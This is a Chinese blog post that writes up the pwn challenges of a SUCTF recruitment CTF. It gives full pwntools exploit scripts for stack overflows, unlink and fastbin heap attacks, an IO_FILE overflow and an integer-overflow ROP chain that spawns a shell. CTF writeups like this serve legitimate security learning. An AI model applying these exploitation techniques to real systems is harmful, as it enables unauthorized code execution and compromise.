本文最后更新于:星期三, 一月 2日 2019, 4:09 下午
前段时间做了下SUCTF的招新赛的pwn题,题目还是很友好的,适合新手。但是一直没有写writeup,现在有时间就把writeup写了。
basic-pwn
简单的栈溢出
直接上exp:
from pwn import*
p = process('pwn')
payload = 'a'*280 + p64(0x4005c7)
p.sendline(payload)
p.interactive()
stack
也是简单栈溢出,和basic-pwn差不多
exp:
from pwn import*
p=process("./pwn")
payload='a'*0x28+p64(0x400676)
p.recvuntil("============================\n")
p.sendline(payload)
p.interactive()
babyarray
数组下标溢出,将特定变量覆盖为0就可以了。
输入 的下标为-14,值为0 。
unlink
一道简单的unlink题。改写__free_hook为system函数,再free掉一个包含“/bin/sh”字符串的chunk,就可以getshell
exp:
#!/usr/bin/env python
from pwn import *
local = 0
if local:
p = process('./unlink')
elf = ELF('./unlink')
libc = elf.libc
else:
p = remote("43.254.3.203",10005)
elf = ELF('./unlink')
libc = ELF('./libc-2.23.so')
context.arch = elf.arch
context.log_level='debug'
def touch(size):
p.sendlineafter("please chooice :\n","1")
p.sendlineafter("size : \n",str(size))
def delete(idx):
p.sendlineafter("please chooice :\n","2")
p.sendlineafter(" delete\n",str(idx))
def show(idx):
p.sendlineafter("please chooice :\n","3")
p.sendlineafter("show\n",str(idx))
def take(idx,content):
p.sendlineafter("please chooice :\n","4")
p.sendlineafter("modify :\n",str(idx))
p.sendlineafter("content\n",content)
ptr = 0x06020C0
fake_chunk = p64(0) + p64(0x90) + p64(ptr - 0x18) + p64(ptr - 0x10)
fake_chunk = fake_chunk.ljust(0x90,'a')
fake_chunk += p64(0x90) + p64(0x90)
touch(0x90)
touch(0x80)
touch(0x20)
delete(0)
touch(0x90)
show(0)
p.recvuntil("the content is : \n")
leak = u64(p.recv(6).ljust(8,'\x00'))
log.info(hex(leak))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58
libc.address = libc_base
log.info(hex(libc_base))
take(0,fake_chunk)
delete(1)
payload = 'a'*0x18 + p64(libc.symbols['__free_hook'])
take(2,"/bin/sh")
take(0,payload)
take(0,p64(libc.symbols['system'])*2)
delete(2)
p.interactive()
ez_heap
网鼎杯半决赛的原题,就改了下字符串。漏洞点是一个UAF。
利用方法,先利用unsorted bin将libc地址泄露出来,然后利用UAF漏洞来进行fastbins_dup 分配到包含__malloc_hook的chunk,改写 _malloc_hook为one_gadget,最后通过doublefreee触发 _malloc_printerr 来getshell。
详情可以看我之前网鼎杯的writeup地址
exp
#!/usr/bin/env python
from pwn import *
local = 0
if local:
p = process('./ez_heap')
elf = ELF('./ez_heap')
libc = elf.libc
else:
host = '43.254.3.203'
port = '10006'
p = remote(host,port)
elf = ELF('./ez_heap')
libc = ELF('./libc-2.23.so')
context.arch = elf.arch
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def create(size,name,t):
ru('Your choice : ')
sl('1')
ru('Length of the name :')
sl(str(size))
ru('The name of animal :')
sd(name)
ru('The kind of the animal :')
sl(t)
def view():
ru('Your choice : ')
sl('2')
def delete(idx):
ru('Your choice : ')
sl('3')
rc()
sl(str(idx))
def clean():
ru('Your choice : ')
sl('4')
create(0x98,'a'*8,'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x28,'bbbb','456798')
delete(0)
clean()
create(0x98,'a'*8,'1234')
view()
ru('a'*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
main_arena = leak - 0x58
log.info(hex(main_arena))
pause()
libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10
log.info("libc_base is {}".format(hex(libc_base)))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
one_gadget = 0xf02a4 + libc_base
delete(1)
delete(2)
delete(1)
create(0x68,p64(malloc_hook - 0x23),'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x68,'a'*0x13 + p64(one_gadget),'1234')
delete(0)
delete(0)
p.interactive()
easy_overflow_file_structure
IO_FILE利用的简化版
漏洞点: 解析请求头字段的循环退出不当,导致可以写入多次,导致溢出,可以覆盖掉文件流指针
__int64 __fastcall lookForHeader(const char *strings, __int64 input, signed int size, _BYTE *target, unsigned int count)
{
_BYTE *v5; // rax
_BYTE *v6; // rdx
__int64 result; // rax
_BYTE *v8; // [rsp+0h] [rbp-40h]
unsigned int v9; // [rsp+8h] [rbp-38h]
signed int v10; // [rsp+Ch] [rbp-34h]
unsigned int n; // [rsp+2Ch] [rbp-14h]
size_t n_4; // [rsp+30h] [rbp-10h]
unsigned int j; // [rsp+38h] [rbp-8h]
signed int i; // [rsp+3Ch] [rbp-4h]
v10 = size;
v8 = target;
v9 = count;
n = strlen(strings);
for ( i = 0; ; ++i )
{
result = v10 - n;
if ( (signed int)result <= i )
break;
if ( !strncmp((const char *)(input + i), strings, n) && *(_BYTE *)(i + n + input) == 58 )
{
for ( i += n + 1; i < v10 && (*(_BYTE *)(i + input) == 32 || *(_BYTE *)(i + input) == 9); ++i )
;
for ( j = i; j < v10; ++j )
{
if ( *(_BYTE *)(j + input) == 35 )
{
if ( j - i + 1 <= v9 )
{
n_4 = i + input;
while ( n_4 < (unsigned __int64)j + input )
{
v5 = v8++;
v6 = (_BYTE *)n_4++;
*v5 = *v6;
}
*v8 = 0;
}
break;
}
}
}
}
return result;
}
exp:
from pwn import*
context.log_level = "debug"
#p = process('./eofs')
p = remote('43.254.3.203',"10002")
payload = "GET / HTTP/1.1#"
payload +=" Host:"+"a"*126 + "#"
payload += " ResearchField:"+ 'a'*126 +"#"
payload +=" ResearchField:"+ 'a'*2 + p64(0x6021a0) +"#"
payload += " Username: " + p64(0xdeadbeef)*4 + "#"
p.sendline(payload.ljust(8000,'b'))
p.recv()
p.interactive()
int
程序的逻辑很简单,存在一个整数溢出。通过整数溢出可以造成栈溢出,就可以进行rop了。
这里我一开始比较困惑的是那个alloca函数,它通过ida反编译后参数很奇怪,我还以为进行了什么操作。直到我自己写了个测试alloca函数的程序,发现原来这个函数不在glibc库中,它由一些汇编语句构成,最终结果是将栈的空间增大,并返回一个内存指针。
测试程序:
#include<stdio.h>
#include<stdlib.h>
int main()
{
int *a;
a = alloca(16);
return 0;
}
拖进ida中看下
.text:000000000040054E ; 4: v3 = alloca(32LL);
.text:000000000040054E mov rax, fs:28h
.text:0000000000400557 mov [rbp+var_8], rax
.text:000000000040055B xor eax, eax
.text:000000000040055D mov eax, 10h
.text:0000000000400562 sub rax, 1
.text:0000000000400566 add rax, 1Fh
.text:000000000040056A mov esi, 10h
.text:000000000040056F mov edx, 0
.text:0000000000400574 div rsi
.text:0000000000400577 imul rax, 10h
.text:000000000040057B sub rsp, rax
.text:000000000040057E mov rax, rsp
.text:0000000000400581 add rax, 0Fh
.text:0000000000400585 shr rax, 4
.text:0000000000400589 shl rax, 4
.text:000000000040058D mov [rbp+var_10], rax
.text:0000000000400591 mov eax, 0
对比题目的代码
.text:000000000040076D ; 13: v3 = alloca(32LL);
.text:000000000040076D mov eax, 10h
.text:0000000000400772 sub rax, 1
.text:0000000000400776 add rax, 1Bh
.text:000000000040077A mov ecx, 10h
.text:000000000040077F mov edx, 0
.text:0000000000400784 div rcx
.text:0000000000400787 imul rax, 10h
.text:000000000040078B sub rsp, rax
.text:000000000040078E mov rax, rsp
.text:0000000000400791 add rax, 0Fh
.text:0000000000400795 shr rax, 4
.text:0000000000400799 ; 14: buf = (16 * ((&v6 + 3) >> 4));
.text:0000000000400799 shl rax, 4
.text:000000000040079D mov [rbp+buf], rax
可以发现其实 v3 = alloca(32LL); 和buf = (16 * ((&v6 + 3) >> 4));这两条反编译后的语句相当于 buf = alloca(32);
程序的漏洞点
它后面read函数读入数据的大小和alloca函数分配的大小是由我们输入控制的,所以可以控制它为一个很大的值,造成整数溢出,那么可以分配一个小空间,但是可以读取很多数据。那么就会造成栈溢出。
栈的大小要通过调试来得到,dest的地址为0x7ffd035211b0
dest与rbp的距离
所以dest + 12 距离返回地址的偏移为 0x80-12 + 8 = 124
栈的大小知道了,剩下的就是怎么进行rop利用。先泄露出libc地址,然后调用system函数来getshell。
exp:
#!/usr/bin/env python
from pwn import *
p = process('./int')
elf = ELF('./int')
libc = elf.libc
context.arch = elf.arch
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
rc()
#gdb.attach(p,"b *0x0400824")
pop_rdi = 0x00000000004008f3
payload = p32(0x6e696b53) + p32(0x1) + p32(0xffffffff)
p.send(payload)
payload = 'a'*124
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(0x4005E0)# start
p.send(payload)
leak = u64(p.recv(6).ljust(8, "\x00"))
libc.address = leak - libc.symbols['puts']
info("libc.address: {}".format(hex(libc.address)))
payload = p32(0x6E696B53) + p32(1) + p32(0xffffffff)
sd(payload)
payload = 'a'*124
payload += p64(pop_rdi)
payload += p64(libc.search("/bin/sh\x00").next())
payload += p64(libc.symbols['system'])
payload += p64(0xdeadbeef)
sd(payload)
p.interactive()
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!